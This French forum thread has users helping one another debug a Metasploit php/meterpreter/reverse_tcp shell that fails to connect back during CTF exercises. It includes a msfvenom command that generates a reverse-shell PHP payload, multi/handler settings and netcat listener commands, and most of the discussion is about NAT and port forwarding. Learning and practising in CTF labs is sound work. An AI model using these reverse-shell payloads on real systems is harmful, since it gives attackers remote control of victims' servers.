CTF all the day

mercredi 23 mai 2018, 10:43  #1
[Metasploit] Problème de reverse_tcp
Bouboul
  • 15 posts

Salut, j’utilise un shell php depuis le site de la victime qui doit se connecter à une msfconsole en attente. La connection ne se fait pas et quand je stop l’attente avec ctrl+c j’obtient le message suivant (après le connection failed) "exploit completed, but no session created".

J’utilise VMware workstation 10 player avec kali linux, j’ai mis la ligne suivante dans ma config nat pour le port forwarding 4444=mon_ip_privé:4444,
et j’utilise le payload php/meterpreter/reverse_tcp avec lport=4444 et lhost=mon_ip_privé dans ma msfconsole et lhost=mon_ip_public dans le shell.php sur le site victime.

Je n’arrive pas à terminer les ctf que j’ai démarré à cause de cette connection qui n’a pas l’air de se faire, qqn a t’il une idée du problème ou même une solution ?

merci d’avance,
boulanger.

mercredi 23 mai 2018, 11:00  #2
[Metasploit] Problème de reverse_tcp
Th1b4ud
  • 1636 posts

Salut. Tu bosses sur quel ctf ?

mercredi 23 mai 2018, 15:51  #3
[Metasploit] Problème de reverse_tcp
0m3g4
  • 19 posts

As-tu également fait un port forwarding sur ton routeur ? Sinon la connexion reverse tcp depuis internet n’arrivera pas jusqu’à ta VM

mercredi 23 mai 2018, 16:40  #4
[Metasploit] Problème de reverse_tcp
Bouboul
  • 15 posts

Salut,

@Th1b4ud je suis sur Orcus et MrRobot 1

@0m3g4 je pense pas l’avoir fait sur mon routeur, je regarde ça merci.

mercredi 23 mai 2018, 22:36  #5
[Metasploit] Problème de reverse_tcp
Th1b4ud
  • 1636 posts

En effet il faut ouvrir un port sur ta box vers ton pc. Cela te servira à chaque fois que tu fais du reverse shell : RootMe.org -> L’adresse extérieur de ta box sur le port 4444 par exemple (tu peux obtenir ton ip en ligne ex : whatismyip.com) -> ton pc

Cad que si l’adresse de ta box est 145.65.78.134 et que ton pc dans ton réseau à pour adresse 192.168.0.10, il faut que tu dises à ta box : "Si tu reçois du trafic sur le port 4444 provenant de l’extérieur tu envoies tout sur le port 4444 de 192.168.0.10". Donc dans ton meterpreter, le LHOST vaut 145.65.78.134 et le LPORT 4444. Voila

jeudi 24 mai 2018, 08:53  #6
[Metasploit] Problème de reverse_tcp
Bouboul
  • 15 posts

Salut,

@Th1b4ud ok dac merci beaucoup.

Dès que j’aurais fait la manip je viendrais poster ici si ça marche ou pas.

Edit : ça ne fonctionne pas.

Je met ici un recap de ce que j’ai fait :

mon ip sur mon réseau : 192.168.0.X
l’ip de ma VMware : 192.168.160.X
l’ip de ma box vu de l’exterieur : 77.77.77.77 (exemple)
l’ip de la victime : 212.78.81.21 (exemple aussi)

dans le fichier de config nat de ma VM j’ai mis 4444 = 192.168.160.X:4444 (ma VM)
dans ma box j’ai redirigé le trafic du port 4444 vers 192.168.0.X:4444 (mon ordi)

la cmd de creation de mon shell : msfvenom -p php/meterpreter/reverse_tcp lhost=77.77.77.77 lport=4444 -f raw > shell.php

la config de msf console : exploits/multi/handler -> payload : php/meterpreter/reverse_tcp -> lhost : 192.168.160.X (ma VM) -> lport : 4444

ai-je fait une erreur dans mes configurations ?

jeudi 24 mai 2018, 11:37  #7
[Metasploit] Problème de reverse_tcp
0m3g4
  • 19 posts

A priori le payload a été correctement configuré. Ca vient peut être de la configuration du port forwarding.

Sur ta VM lance un listener netcat sur ton port 4444 —> nc -l 4444

Ensuite avec ton smartphone ou autre, va sur l’url http://77.77.77.77:4444/ (avec ta vraie ip publique bien sûr  😄 )

Si le port forwarding a été correctement configuré tu devrais avoir des infos s’affichant dans ton shell exécutant le listener netcat.
Si tu n’a pas de retour c’est que le port forwarding a mal été configuré et donc c’est normal que le shell meterpreter ne donne rien.

Si ça fonctionne le problème vient d’ailleur —> est-tu sûr que ton payload est exécuté sur la machine distante, que les IP sont les bonnes/n’ont pas été modifiées entre temps, etc...

jeudi 24 mai 2018, 12:28  #8
[Metasploit] Problème de reverse_tcp
Bouboul
  • 15 posts

Salut,

Ouais effectivement ça fait rien du tout.

jeudi 24 mai 2018, 14:35  #9
[Metasploit] Problème de reverse_tcp
Th1b4ud
  • 1636 posts

Déjà on va voir si le nat de ta box vers ton pc fonctionne :
Sur un serveur extérieur (ton téléphone en 4G par exemple. Utilise termux pour emuler un shell linux sur ton android) : nc -v <ip_externe_box> 4444
Sur ton pc lance un listener : nc -lvp 4444

Et si ça fonctionne tu es censé pouvoir communiquer entre les deux appareils (envoyer des messages) à travers cette socket

jeudi 24 mai 2018, 16:46  #10
[Metasploit] Problème de reverse_tcp
Bouboul
  • 15 posts

Salut,

Termux sous android me dit que l’option -v est invalide.

j’ai essayer sans le -v ça tente de se co au port 4444 de la box mais effectivement le pc ne voit pas la connexion.

jeudi 24 mai 2018, 20:38  #11
[Metasploit] Problème de reverse_tcp
Th1b4ud
  • 1636 posts

Tu as donc la source du problème. Tu as mal fait ton nat. Ca devrait resoudre tes soucis

vendredi 25 mai 2018, 10:40  #12
[Metasploit] Problème de reverse_tcp
Bouboul
  • 15 posts

Salut,

Ok merci beaucoup pour l’aide. Si j’arrive un jour à le faire fonctionner correctement je viendrais expliquer ce que j’ai fait ici au cas où ça aide qqn d’autre.

Edit : Au final j’ai changer de logiciel de virtualisation j’ai pris VirtualBox vu que le ports forwarding est plus clair et bcp plus intuitif. (Config -> réseau -> avancé -> redirection de ports).

Et là msf fonctionne du premier coup. Ca m’embête un peu de pas comprendre pourquoi ça marche pas avec VMware, je pense que ça viens du fait que c’est une version Lite et pas pro et que j’ai pas toutes les fonctionnalitées , mais je ne suis pas sur.

En tout cas merci beaucoup pour votre aide, a+.

mardi 22 janvier 2019, 12:39  #13
[Metasploit] Problème de reverse_tcp
paul1233
  • 6 posts

La redirection de port est également souvent appelée tunnel de port. Il s’agit d’un processus en coulisse consistant à intercepter le trafic de données en direction de la combinaison IP d’un ordinateur et à le rediriger vers une adresse IP différente. Le plus souvent, un programme VPN ou proxy est utilisé pour provoquer cette redirection, mais cela peut également se faire via des périphériques matériels tels qu’un routeur, un serveur proxy ou même un pare-feu.